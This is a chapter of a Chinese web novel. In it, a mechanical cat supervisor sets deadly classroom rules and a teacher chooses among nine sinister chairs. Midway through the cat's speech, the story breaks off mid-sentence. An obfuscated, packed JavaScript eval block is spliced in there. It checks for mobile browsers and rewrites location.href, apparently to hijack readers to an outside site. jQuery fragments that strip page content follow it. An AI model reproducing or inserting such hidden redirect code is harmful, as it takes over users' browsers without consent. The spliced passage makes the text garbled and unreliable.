13. 中国结(13)
作品:《无限非遗学院》 官酉既没点头,也没摇头。
那橘猫无论是皮毛纹理、还是嘴套的大小或者饱满程度,甚至眼瞳的形状和光泽,都逼真得足够以假乱真。
然而——
官酉的目光直直落在橘猫的眼睛上。
那双琥珀色瞳孔的深处,有一丝极其细微、非自然的绿色数据流光,正毫无遮掩的、规律地闪烁、流动,潜藏在虹膜的纹理之下。
那不是生物电信号,而是数字编码!
官酉微不可查的倒吸一口凉气,一个判断瞬间跃上心头。
这不是真猫,而是和“咪呜咪呜”一样的机械造物!
身后学员的抽气声此起彼伏,压抑的哭腔混在其中。
连一贯冷静的夏铭也猛地倒吸一口凉气,那声音在死寂的大厅里显得格外刺耳。
官酉微微侧脸,刚平复的心中又掠过一丝意外。
一只机械猫而已,为什么会引发如此剧烈的恐慌?
空气粘稠得仿佛凝固的油脂,尘埃混合着木头朽坏的陈腐气味,沉甸甸地压在每个人的胸腔上。
“初次见面。”橘猫优雅的欠了欠身,声音平稳无波,如同设定好的程序音,“希望你能在这次的教学之旅,玩得愉快。”
官酉的心沉入了谷底。
这只橘猫的话里,字字句句都昭示着,他完全不是这群学员先前猜测的那个人!
甚至,他此刻就能清晰感知到身后汇聚而来的目光——恐惧的、愤怒的,还有炽热无比的审视。
冒充那个恋手癖前任的把戏……露馅的可真快啊……
官酉的眼神暗了暗,有些感慨,却没有丝毫在意。
暴露了又能如何?
青石板路上发生的一切都在告诫着他们,只有教师身边才是真正的安全区!
教学楼可不是什么安全地。
他们如果想要活命,除了跟紧他,别无他法。
橘猫没再看他。
它的目光越过他,在后方瑟缩的学员群中缓缓逡巡。
最终,落在队伍末尾——那个姿态依旧闲适得格格不入的章著金身上。
仅仅一瞬,它琥珀色的瞳孔骤然收缩成一道危险的竖线。
浑身蓬松的毛发根根炸立,背脊高高拱起,喉咙深处滚出低沉却充满威胁性的呼噜声。
右前爪不安的摩擦着桌面,耳朵背成飞机耳,一脸凶相。
学员们瞬间如惊弓之鸟,下意识绷紧身体,摆出防御姿态。
夏铭的手更是按上了腰间的武器,眼神锐利,似乎随时就要动手。
刘楚恬却按住了她的手腕,微不可查的摇了摇头。
橘猫猛地从布满深刻爪痕的桌面跃下,肉垫落地无声。
它以迅雷之势冲向章著金,又在堪堪触及他小腿时急刹——
“咚!”
圆滚滚的脑袋不轻不重地撞上章著金的胫骨,沉闷声响在空旷中回荡。
它吸着鼻子,眼泪汪汪地绕着章著金缓慢踱步,鼻翼急促翕动着,像是在确定什么。
“好熟悉又陌生的气息,我们见过吗?”
好半晌,橘猫在章著金脚边停下,后腿弯曲着坐下,仰起僵硬的脖子,狐疑地盯住他。
“没有哦~”
章著金甚至懒得低头,嘴角噙着一丝漫不经心的笑意,语气轻飘飘的,像在讨论无关紧要的晚餐菜单。
橘猫僵硬的脑袋歪了歪,眼睛直愣愣章著金,眼珠子忽然开始在眼眶里胡乱打转,肚子里发出高亢的呼噜噜的声响,像是识别到什么错误BUG一样。
官酉的心瞬间提到了嗓子眼。
不好!
这只橘猫在评估章著金是否是游戏里蹿入的BUG数据!
他下意识地绷紧身体,一步踏前——
就在他几乎要冲过去的瞬间,橘猫胡乱转动的眼珠倏地停滞。
奶呼呼的眼皮上下一眨,所有异常状态瞬间清零,恢复了可可爱爱却又奇奇怪怪的模样。
“交互记录:零。身份验证通过,非BUG程式,无需就地清除。”
它几不可察地点了下头,声音重新变得冰冷平滑,“欢迎新同学加入学院系统。”
话音未落,橘猫咻地扭身,后腿用力在地上一蹬,整只猫凌空而起,轻巧的落回伤痕累累的桌面。
两只前爪狠狠地碾过桌面,留下两道深深的抓痕。
橘猫转过身,尾巴扫过桌面,扬起不少陈腐味的灰尘。
它转过身,面向噤若寒蝉的学员,伸出粉嘟嘟的舌头,舔了舔左前爪。
“员身份确认完毕。我是本次课堂督查,代号:大橘子。”
橘猫清了清嗓子,平静的宣读着规则。
“课堂纪律即是本轮游戏核心运行协议。”
“违反协议条款,记过一次。累计记过达到三次阈值——”
橘猫轻笑一声,“即判定为课堂考核失败,启动补考程序,自动归为下一轮课堂的替补学员。临时使用身份为——教学耗材搬运工。”
每个字都像冰冷的铁块砸在地上。
官酉明显听到身后,除了章著金的7个学员都呼吸一窒,似乎被这句话扼住了喉咙。
空气瞬间凝滞。
他微不可查的皱了皱眉。
“教学耗材搬运工”?
能引起他们这么大的反应,应该不止是简简单单的“搬运材料”?
那会是什么呢?
“纪律单贴于每间宿舍门后,上课前必须背熟。每天上课的第一时间,我将抽查背诵。”
“本次学习时长为四天三晚。每日学习时间:早8点至11点,下午1点至5点,晚修7点至11点。”
“现在宣布当前时间——”
“4月4日,24点整——”
斑驳的深色石墙上,毫无征兆地扭曲、溶解,一座巨大无比的石英钟凭空浮现。
钟面上,时针和分针如同被无形之手疯狂拨弄,以肉眼可见的速度飞速倒转!
滴答...滴答...滴答...嗒嗒嗒嗒嗒——
指针高速旋转的声音在死寂的大厅里异常刺耳,像倒计时的丧钟敲在每个人的心口。
学员们惊恐地看着这违反常理的一幕,神色仓皇,表情震惊。
最终,时针与分针在冰冷的罗马数字“XII”上狠狠咬合!
“铛——!!!”
一声沉重、悠远的钟鸣骤然响起,震得整个大厅嗡嗡作响,灰尘簌簌落下。
无形的音波穿透耳膜,直抵灵魂深处,带来一阵心悸的眩晕。
零点,又一次到了。
官酉瞳孔骤缩,一股寒意从脊椎骨直窜天灵盖。
这栋楼不仅能肆意扭曲空间,竟连时间也能玩弄于股掌之中。
这意味着,他将失去对时间流逝的基本判断。
可这次的课堂又是以时间为课堂划分的节点。
这样的安排下,制作方真的希望有人能活着离开课堂吗?
他指腹无意识地重重摩挲着腰间冰冷的小蜜蜂外壳。
必须活下去!
科研、论文、章知白……
他需要尽快找到一个能锚定这疯狂时间流的方法。
橘猫对众人濒临崩溃的惊骇置若罔闻。
它抬起前爪,在那布满新旧抓痕的桌面上不轻不重地拍了拍,宣判了接下来的安排。
“现在给你们分配宿舍。”
冰冷的字眼砸落,大厅的温度仿佛又骤降了十度。
“规则是——”
它琥珀色的瞳孔扫过每一张因恐惧而扭曲的脸,一字一顿:
“试、胆、大、会。”
话音落下的瞬间,官酉脚下坚实的地面猛地一软,如同骤然踩进了沼泽,向下塌陷!
嗡——!
空气发出不堪重负的、低沉而持续的悲鸣。
四周斑驳的深色石墙开始像融化的蜡烛般剧烈扭曲、拉伸,怪异地向着无尽的黑暗深处退去。
墙上的石英钟和那幅描绘着扭曲人形的褪色挂毯,在视野中急剧缩小、变形,如同坠入噩梦的深渊。
“等等,这又是什么!”童话惊叫出声。
官酉猛地回头。
九张造型迥异、散发着不祥气息的座椅,逐渐从阴影里凝结出的实体,毫无征兆地凭空出现在昏黄摇曳的光线下,围绕着那张布满爪痕的长桌,排成一个半开口的的圈。
“九个人,九个座位。”
橘猫的声音穿透空间的异变,清晰得如同贴在耳边。
“宿舍一共有五间。两人合住一间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869339|172298||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,剩下的人住单间。”
“每个座位,绑定一把宿舍钥匙,以及获取这把钥匙的方案。”
“方案不同,难度不同,代价……也不同。”
它的语调平淡丝滑、没有任何起伏,却比任何威胁都更让人心头发冷。
“现在,选座。钥匙和方案,选了才知道。”
宣读完毕,空间陷入一片死寂,只有橘猫尾巴尖无意识地轻叩桌面,发出规律的“哒、哒”声。
众人的目光齐刷刷的聚焦在官酉身上。
官酉被这沉甸甸的注视钉在原地,微微一怔。“你们在等什么?”
“等你呢,教授。”
章著金懒洋洋的声音响起,尾调刻意拖长上扬,在紧绷得几乎要断裂的氛围中,带着点若有似无的暧昧。
“你选在哪儿,”他嘴角噙着一丝若有若无、却十足挑衅的笑意,眼神轻飘飘的对上官酉,微红的眼尾扬起一点弯弯的弧度,“你左右两边的座位,不就自动进入安全区了?”
其他学员仿佛抓住了唯一的救命稻草,拼命点头,目光中的恳求几乎要溢出来。
安全区?
官酉指关节骤然发力,死死攥紧了腰间的鞭柄。
冰冷的金属触感透过掌心传来,坚硬而滑腻。
教具毫无反应。
这意味着,在教具的感知里,这伤痕累累的桌子,这毫无生气的机械猫,还有这九把散发着不祥气息的座椅都显示“安全”。
但——
官酉的视线飞速的扫过大厅的每一个角落,一股冰冷的违和感从脊椎悄然爬升。
就好像有无形的、无法被教具识别的危险蛰伏在阴影之中,随时可能暴起噬人。
“教授。”章著金的声音再次响起,慢条斯理,带着一丝刻意拉长的、充满娇滴滴催促的腔调,“时间不等人啊。”
官酉深吸一口,努力克制住心底冉冉升起的危机感,强迫目光落在那九把散发着不祥气息的座椅。
一把肉色的破旧真皮沙发,表面布满狰狞的抽痕,暗红色的粘稠液体正从裂口处缓缓渗出。
一把完全由森白骨骼拼接而成的座椅,从扭曲的胸椎、腰椎,一直延伸到大腿骨的形状,坐垫位置赫然是两片骨盆。
一把黑漆漆的椅子,仿佛一个微型黑洞,贪婪地吞噬着周围本就昏黄的光线。
一把扭曲盘旋成蛇形的座椅,通体覆盖着冰冷的黑色鳞片,蛇头昂起,空洞的眼窝正对着选择者。
一把由墨绿色、长满尖刺的荆棘缠绕而成的椅子,荆棘丛中却反常地盛开着无数娇嫩欲滴的鲜红小花。
一把纯白色的布艺沙发,柔软的坐垫中央却诡异地凹陷下去,形成一个边缘参差、宛如正在无声嘶吼的血盆大口。
一把表面布满密密麻麻、不断开合转动的浑浊人眼的椅子,每一次眨动都留下湿滑的痕迹。
一把完全由无数只僵直、青灰、向上伸展的手臂交缠而成的座椅,指尖兀自微微抽搐。
似乎每一把都在沉默却嚣张地散发着各自独特的恶意。
倏地——
他的视线落在了左数第一把椅子上。
那把椅子……
它太“正常”了。
老旧褪色的原木色,线条简单到近乎简陋,朴素的木质纹理在昏光下清晰可见。
在一片妖异狰狞、散发着强烈存在感的座椅包围中,它安静得像个异类,像污浊泥沼里一块过分干净的石头。
也正是这份突兀的、近乎刻意的“普通”,在官酉眼中透出一种令人脊背发凉的毛骨悚然。
污泥之中,焉有完卵?
官酉拿不定主意,眼里也浮现出一抹淡淡的挣扎来。
也许……越危险越安全?
它背后所代表的试胆方案,会不会恰恰是最直接、最简单的?
这个念头刚冒出来,那椅子仿佛拥有了生命般的魔力,牢牢黏住了他的视线,无法挣脱。
紧接着,一个稚嫩的、带着空灵感的童声,悄然钻入他的脑海,混着他自己压抑的呼吸节奏,一遍遍固执地低语、哀求:“选我,快选我,求求你选好……”
鬼使神差地,官酉抬起手,指尖笔直地指向那把看似无害的椅子,声音在寂静中异常清晰:
“我选它。”